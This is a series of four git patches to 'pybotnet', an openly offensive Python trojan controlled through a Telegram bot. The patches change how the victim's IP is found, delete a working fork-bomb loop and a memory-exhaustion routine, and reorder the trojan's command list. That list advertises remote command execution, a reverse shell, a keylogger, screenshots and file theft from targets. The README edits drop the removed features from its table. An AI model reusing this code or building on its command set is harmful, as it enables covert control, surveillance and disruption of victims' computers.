From 95e1c54de4d300a8e51853a117fa4f96ae9cbf67 Mon Sep 17 00:00:00 2001 From: SepehrRasouli Date: Mon, 27 Sep 2021 09:32:34 +0330 Subject: [PATCH 1/4] Fixed Local Ip Address --- pybotnet/util.py | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/pybotnet/util.py b/pybotnet/util.py index b234902..bcf2977 100644 --- a/pybotnet/util.py +++ b/pybotnet/util.py @@ -13,6 +13,7 @@ import os import schedule from typing import List +import socket from pynput import keyboard from socket import gethostname, gethostbyname from uuid import getnode as get_system_mac_addres @@ -70,7 +71,9 @@ def get_current_epoc_time() -> float: def get_host_name_ip() -> str: try: host_name = gethostname() - host_ip = gethostbyname(host_name) + s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + s.connect(("4.2.2.4", 80)) + host_ip = s.getsockname()[0] return f'{host_ip}\nHostname: {host_name}' except: return 'Unknown' From 572dce47f262c53cbc0c3160688fb19a7543541e Mon Sep 17 00:00:00 2001 From: SepehrRasouli Date: Mon, 27 Sep 2021 09:34:52 +0330 Subject: [PATCH 2/4] Removed fork bomb , eatmem and memleft since openurl does the same. --- pybotnet/scripts.py | 52 +++------------------------------------------ 1 file changed, 3 insertions(+), 49 deletions(-) diff --git a/pybotnet/scripts.py b/pybotnet/scripts.py index e39748f..7444df2 100644 --- a/pybotnet/scripts.py +++ b/pybotnet/scripts.py @@ -9,11 +9,11 @@ from time import sleep from uuid import getnode as get_system_mac_addres from requests import get -import subprocess import sys from playsound import playsound import webbrowser -import psutil + + # pybotnet import from . import util from . import settings @@ -51,13 +51,7 @@ `schedule list`: lists all schedules `schedule stop `: Stops a schedule """, - - "forkbomb": "`forkbomb` Will execute the running program forever , Using this option , you might lose access to the trojan , since a restart would be needed.", - "playsound": "`playsound ` Plays a sound , MP3 or WAV Files. Sound file should be in the working path.", - - "eatmemory": "`eatmemory ` This option will eat memory , You should specify the size in bytes. if you eat all of the memory , you might lose connection.", - "memoryused": "`memoryused` will return the percent of used memory.", "openurl": "`openurl ` Will open a specified url n times", } @@ -171,18 +165,10 @@ def execute_scripts(command: str, pybotnet_up_time: int, is_shell: bool, ADMIN_C elif command_name == "schedule" and split_command(command)[1] in ["start", "stop", "list"]: return scheduler_script(logger, command) - elif command_name == "forkbomb": - return forkbomb(logger, TELEGRAM_TOKEN, ADMIN_CHAT_ID) - + elif command_name == "playsound": return playsound_pybotnet(logger, command) - elif command_name == "eatmemory": - return eatmem(logger, command) - - elif command_name == "memoryused": - return memleft() - elif command_name == "openurl": return openurl(logger, command) logger.error('execute_scripts invalid command; Wrong format') @@ -533,21 +519,6 @@ def scheduler_script(logger, command): return "Schedule {0} stopped.".format(command) -def forkbomb(logger, TELEGRAM_TOKEN, ADMIN_CHAT_ID): - def send_message(text: str): - util.send_message_by_third_party_proxy( - text, TELEGRAM_TOKEN=TELEGRAM_TOKEN, - ADMIN_CHAT_ID=ADMIN_CHAT_ID, logger=logger) - logger.info("Starting Fork Bomb...") - send_message('Starting Fork Bomb...') - try: - while True: - subprocess.Popen([sys.executable, sys.argv[0]], - creationflags=subprocess.CREATE_NEW_CONSOLE) - except: - return "Running forkbomb failed." - - def playsound_pybotnet(logger, command): threadObject = threading.Thread( target=playsound, args=(split_command(command)[1],)) @@ -557,23 +528,6 @@ def playsound_pybotnet(logger, command): return "Playsound Started."if threadObject.is_alive() else "PlaySound Failed." -def eatmem(logger, command): - global memory - try: - logger.info("Eating memory like a hungry trojan...") - memory = 'X' * int((split_command(command)[1])) - logger.info("Ate {0} Bytes of Memory.".format( - split_command(command)[1])) - return "Ate {0} Bytes of Memory.".format(split_command(command)[1]) - except: - logger.error( - "Unknown error occurred. Maybe the specified amount was too much. Or the amount wasn't a number. I'm Very Hungry :(") - return "Unknown error occurred. Maybe the specified amount was too much. Or the amount wasn't a number." - - -def memleft(): - return 'Memory Used = {0}'.format(psutil.virtual_memory().percent) - def openurl(logger, command): url = split_command(command)[1] From 3b8fd55f4f2ece88d681c73e746a50602a2bc812 Mon Sep 17 00:00:00 2001 From: SepehrRasouli Date: Mon, 27 Sep 2021 11:37:34 +0330 Subject: [PATCH 3/4] Fixed Everything --- pybotnet/scripts.py | 14 +++++++------- pybotnet/util.py | 2 +- 2 files changed, 8 insertions(+), 8 deletions(-) diff --git a/pybotnet/scripts.py b/pybotnet/scripts.py index 7444df2..b3bfa34 100644 --- a/pybotnet/scripts.py +++ b/pybotnet/scripts.py @@ -25,13 +25,13 @@ scripts_name = { MAC_ADDRES: "` `: run command on one target", + "help": "`help`: send this message", + "do_sleep": "`do_sleep `: print message and sleep", "get_info": "`get_info`: get target info", - "info": "`info`: run `get_info` command!", - - "cmd": "`cmd `: run command in target terminal", + "reverse_shell": "` reverse_shell`: start reverse shell on target system", "export_file": "`export_file `: target donwload this file and save to script path", @@ -39,11 +39,11 @@ "screenshot": "`screenshot`: Takes a screenshot, return the download link", - "help": "`help`: send this message", + "info": "`info`: run `get_info` command!", - "/start": "`/start`: run `help` command!", + "cmd": "`cmd `: run command in target terminal", - "reverse_shell": "` reverse_shell`: start reverse shell on target system", + "/start": "`/start`: run `help` command!", "keylogger": "`keylogger start/stop`: Starts keylogger. use keylogger stop to stop keylogger", @@ -53,6 +53,7 @@ """, "playsound": "`playsound ` Plays a sound , MP3 or WAV Files. Sound file should be in the working path.", "openurl": "`openurl ` Will open a specified url n times", + } @@ -165,7 +166,6 @@ def execute_scripts(command: str, pybotnet_up_time: int, is_shell: bool, ADMIN_C elif command_name == "schedule" and split_command(command)[1] in ["start", "stop", "list"]: return scheduler_script(logger, command) - elif command_name == "playsound": return playsound_pybotnet(logger, command) diff --git a/pybotnet/util.py b/pybotnet/util.py index bcf2977..2886b00 100644 --- a/pybotnet/util.py +++ b/pybotnet/util.py @@ -13,9 +13,9 @@ import os import schedule from typing import List -import socket from pynput import keyboard from socket import gethostname, gethostbyname +import socket from uuid import getnode as get_system_mac_addres from bs4 import BeautifulSoup from PIL import ImageGrab From aa71593691c7ea6dce468126b1daa300217d3f99 Mon Sep 17 00:00:00 2001 From: SepehrRasouli <81516241+SepehrRasouli@users.noreply.github.com> Date: Tue, 28 Sep 2021 18:02:52 +0330 Subject: [PATCH 4/4] Update README.md --- README.md | 5 ----- 1 file changed, 5 deletions(-) diff --git a/README.md b/README.md index 9be2140..f2d7fe5 100644 --- a/README.md +++ b/README.md @@ -34,10 +34,8 @@ * import file from target system * get screenshot * Task Scheduler -* Memory Eater * Open Website * Play Sound -* ForkBomb for more, see commands table end of this page @@ -106,9 +104,6 @@ COMMAND | Sample | DO THIS | version | tested on | `scheduler` | `scheduler start ,stop , list` | Adds a schedule | 0.25.3 | windows, linux `playsound` | `playsound ` | Will play a sound . Playsound can only play MP3 or WAV Files. | 0.25.3 | windows, linux `openurl` | `openurl ` | Will open a url n times. | 0.25.3 | windows, linux -`eatmemory` | `eatmemory ` | Will eat memory like a hungry trojan | 0.25.3 | windows -`memoryused` | `memoryused` | Will return how much of memory is used in percent | 0.25.3 | windows, linux -`forkbomb` | `forkbomb` | Will fork bomb the system | 0.25.3 | windows > If you like this repo and find it useful, please consider ★ starring it (on top right of the page) and forking it :)